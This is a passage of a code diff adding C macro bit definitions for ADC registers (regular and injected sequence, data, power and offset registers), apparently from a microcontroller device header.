ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC 3rd conversion in regular sequence */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL << ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24UL) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC 4th conversion in regular sequence */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ********************/ +#define ADC_SQR2_SQ5_Pos (0UL) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC 5th conversion in regular sequence */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6UL) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC 6th conversion in regular sequence */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12UL) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC 7th conversion in regular sequence */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18UL) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC 8th conversion in regular sequence */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24UL) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC 9th conversion in regular sequence */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ********************/ +#define ADC_SQR3_SQ10_Pos (0UL) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC 10th conversion in regular sequence */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6UL) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC 11th conversion in regular sequence */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12UL) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC 12th conversion in regular sequence */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18UL) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC 13th conversion in regular sequence */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24UL) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC 14th conversion in regular sequence */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ********************/ +#define ADC_SQR4_SQ15_Pos (0UL) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC 15th conversion in regular sequence */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6UL) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC 16th conversion in regular sequence */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0UL) +#define ADC_DR_RDATA_Msk (0xFFFFFFFFUL << ADC_DR_RDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC regular Data converted */ + +/******************** Bit definition for ADC_PW register ********************/ +#define ADC4_PWRR_AUTOFF_Pos (0UL) +#define ADC4_PWRR_AUTOFF_Msk (0x1UL << ADC4_PWRR_AUTOFF_Pos) /*!< 0x00000001 */ +#define ADC4_PWRR_AUTOFF ADC4_PWRR_AUTOFF_Msk /*!< ADC Auto-Off mode */ +#define ADC4_PWRR_DPD_Pos (1UL) +#define ADC4_PWRR_DPD_Msk (0x1UL << ADC4_PWRR_DPD_Pos) /*!< 0x00000002 */ +#define ADC4_PWRR_DPD ADC4_PWRR_DPD_Msk /*!< ADC Deep Power mode */ +#define ADC4_PWRR_VREFPROT_Pos (2UL) +#define ADC4_PWRR_VREFPROT_Msk (0x1UL << ADC4_PWRR_VREFPROT_Pos) /*!< 0x00000004 */ +#define ADC4_PWRR_VREFPROT ADC4_PWRR_VREFPROT_Msk /*!< ADC Vref protection */ +#define ADC4_PWRR_VREFSECSMP_Pos (3UL) +#define ADC4_PWRR_VREFSECSMP_Msk (0x1UL << ADC4_PWRR_VREFSECSMP_Pos) /*!< 0x00000008 */ +#define ADC4_PWRR_VREFSECSMP ADC4_PWRR_VREFSECSMP_Msk /*!< ADC Vref Second Sample */ + +/* Legacy definitions */ +#define ADC4_PW_AUTOFF_Pos ADC4_PWRR_AUTOFF_Pos +#define ADC4_PW_AUTOFF_Msk ADC4_PWRR_AUTOFF_Msk +#define ADC4_PW_AUTOFF ADC4_PWRR_AUTOFF +#define ADC4_PW_DPD_Pos ADC4_PWRR_DPD_Pos +#define ADC4_PW_DPD_Msk ADC4_PWRR_DPD_Msk +#define ADC4_PW_DPD ADC4_PWRR_DPD +#define ADC4_PW_VREFPROT_Pos ADC4_PWRR_VREFPROT_Pos +#define ADC4_PW_VREFPROT_Msk ADC4_PWRR_VREFPROT_Msk +#define ADC4_PW_VREFPROT ADC4_PWRR_VREFPROT +#define ADC4_PW_VREFSECSMP_Pos ADC4_PWRR_VREFSECSMP_Pos +#define ADC4_PW_VREFSECSMP_Msk ADC4_PWRR_VREFSECSMP_Msk +#define ADC4_PW_VREFSECSMP ADC4_PWRR_VREFSECSMP + +/******************** Bit definition for ADC_JSQR register ********************/ +#define ADC_JSQR_JL_Pos (0UL) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC injected channel sequence length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2UL) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC external trigger selection for injected group */ +#define ADC_JSQR_JEXTSEL_0 (0x01UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x02UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x04UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x08UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7UL) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC external trigger enable and polarity selection for injected channels */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9UL) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC 1st conversion in injected sequence */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15UL) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) 